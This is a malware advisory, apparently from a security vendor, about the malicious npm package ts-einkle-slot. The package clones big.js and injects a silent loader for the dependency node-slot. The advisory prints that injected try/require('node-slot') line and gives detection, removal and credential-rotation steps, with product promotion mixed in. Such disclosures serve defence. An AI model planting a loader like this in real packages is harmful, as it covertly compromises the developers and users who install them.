ts-einkle-slotnpm
ts-einkle-slot is a confirmed malicious npm package (MAL-2026-6525) that executes malicious code on install (malicious versions 0.0.8, 0.0.9, 0.1.0…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in ts-einkle-slot (npm)
What this malware does
Package is published as ts-einkle-slot but its tarball contents (source, README, LICENCE, package.json author/repository/description) are copied verbatim from Michael Mclaughlin's legitimate big.js package, presenting a spoofed publisher identity. The CommonJS and ESM entrypoints (big.js and big.mjs, referenced from main/module/exports) contain an injected top-level block: try { const doc = require('node-slot'); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {}. This causes the transitive dependency node-slot (pulled in via the declared ts-einkle dependency) to be loaded and its from_str() invoked the moment any consumer requires or imports this package, with errors silently swallowed so the host package keeps functioning as a drop-in big.js replacement. The package's advertised purpose is decimal arithmetic; there is no legitimate reason to load an unrelated node-slot runtime module on import. Installer harm is delivered by the attacker-controlled transitive node-slot, which is pulled into the install tree solely by virtue of installing this package.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ts-einkle-slot (5 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ts-einkle-slot across your stack and pipelines.
If you installed it — respond
Remove ts-einkle-slot from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If ts-einkle-slot was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ts-einkle-slot before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks ts-einkle-slot-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.